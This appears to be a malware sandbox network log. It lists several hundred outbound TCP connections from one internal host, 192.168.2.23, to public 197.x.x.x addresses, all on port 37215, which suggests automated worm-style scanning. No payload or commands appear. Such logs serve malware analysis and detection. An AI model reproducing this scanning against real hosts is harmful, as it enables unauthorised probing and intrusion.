Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.62.109.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.203.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.237.255.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.175.188.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.8.72.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.75.32.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.241.100.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.192.238.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.18.240.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.114.20.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.237.193.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.97.176.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.111.151.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.155.153.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.244.16.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.238.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.153.157.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.150.152.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.185.104.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.155.249.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.222.126.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.235.253.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.196.28.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.153.141.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.153.130.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.245.10.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.7.224.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.18.244.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.86.255.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.200.188.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.10.234.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.194.231.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.182.243.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.196.86.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.60.43.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.121.16.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.113.136.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.254.53.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.139.153.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.126.197.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.12.39.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.130.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.50.47.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.104.244.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.72.64.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.84.40.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.197.62.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.255.230.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.252.156.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.113.13.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.66.254.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.236.147.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.239.213.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.28.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.144.80.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.225.245.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.202.191.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.208.175.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.241.208.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.136.245.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.248.122.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.47.160.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.109.180.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.78.104.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.14.170.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.173.56.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.82.180.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.195.1.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.33.132.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.27.6.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.87.243.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.3.52.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.123.136.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.0.65.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.247.99.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.53.162.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.85.13.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.235.189.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.164.225.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.245.180.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.112.77.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.103.57.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.124.172.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.80.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.41.208.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.61.228.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.144.239.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.168.230.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.105.198.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.253.128.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.221.182.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.66.96.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.65.214.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.223.19.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.103.116.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.234.197.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.155.131.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.232.42.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.168.91.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.18.152.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.122.178.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.108.150.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.132.40.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.171.62.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.158.220.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.102.26.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.63.3.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.27.53.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.141.161.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.204.192.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.6.63.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.185.63.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.178.186.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.45.162.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.166.190.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.35.13.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.87.88.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.5.187.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.254.188.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.178.0.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.255.42.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.161.52.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.122.157.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.158.150.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.102.96.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.169.246.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.145.9.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.167.14.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.8.245.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.85.168.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.140.229.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.108.224.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.37.249.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.154.44.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.3.59.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.115.106.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.184.153.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.123.183.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.165.73.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.144.204.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.129.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.46.27.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.83.128.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.215.185.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.147.172.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.46.114.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.159.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.68.183.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.185.249.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.164.231.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.76.42.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.3.123.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.52.135.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.166.188.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.41.125.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.158.227.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.209.127.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.53.40.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.134.131.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.97.108.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.236.69.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.247.99.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.77.17.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.218.237.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.13.236.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.39.177.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.127.116.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.82.245.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.218.40.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.248.53.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.65.200.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.57.228.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.212.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.140.84.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.67.120.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.20.87.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.117.147.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.220.215.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.251.60.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.69.32.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.9.193.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.166.81.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.231.109.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.151.178.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.192.95.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.223.171.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.64.155.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.215.174.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.141.101.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.210.219.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.80.195.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.104.161.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.138.83.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.219.24.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.252.253.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.228.91.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.35.181.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.105.250.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.237.24.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.38.202.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.195.21.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.201.179.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.109.133.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.213.2.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.142.174.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.139.72.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.115.185.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.3.193.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.165.195.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.155.144.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.39.220.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.174.153.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.166.11.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.149.125.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.9.154.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.141.56.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.98.140.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.43.200.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.210.241.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.105.81.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.248.177.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.89.177.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.90.146.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.208.195.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.66.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.1.121.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.227.69.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.246.156.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.186.96.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.242.235.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.49.56.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.234.10.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.159.68.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.254.238.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.227.18.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.18.84.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.57.71.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.167.239.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.87.212.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.163.184.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.31.239.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.176.175.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.91.127.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.154.4.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.220.91.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.246.186.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.64.181.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.201.254.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.198.41.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.69.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.194.61.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.236.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.247.214.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.178.48.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.237.46.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.207.15.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.201.204.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.83.200.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.104.37.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.98.67.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.105.245.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.29.179.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.119.36.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.106.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.27.131.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.45.128.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.70.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.19.12.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.254.107.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.8.124.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.61.65.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.117.198.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.74.87.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.108.58.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.156.244.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.40.96.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.222.12.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.190.44.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.36.136.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.26.21.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.218.72.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.7.133.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.60.93.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.69.222.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.50.146.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.107.31.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.24.160.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.173.104.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.44.210.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.95.224.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.180.97.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.105.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.192.168.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.119.183.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.95.95.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.183.255.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.54.174.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.44.146.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.208.35.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.15.151.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.101.140.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.196.161.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.45.245.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.185.244.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.66.222.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.139.18.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.243.128.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.48.97.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.142.160.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.173.102.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.182.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.248.89.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.154.173.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.211.81.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.94.98.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.135.95.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.217.106.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.215.203.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.54.38.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.27.229.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.223.31.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.112.165.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.206.170.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.178.42.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.27.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.169.184.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.203.165.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.207.27.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.126.130.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.65.93.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.113.6.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.200.157.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.179.121.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.55.168.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.162.246.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.155.54.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.173.74.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.180.248.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.157.130.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.221.239.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.180.63.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.84.6.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.169.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.176.19.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.40.162.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.198.80.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.130.154.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.190.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.31.190.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.167.162.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.178.77.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.245.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.142.120.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.45.31.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.135.241.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.120.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.117.38.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.154.111.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.169.68.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.34.9.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.152.192.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.57.247.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.202.28.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.203.202.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.30.180.152:37215
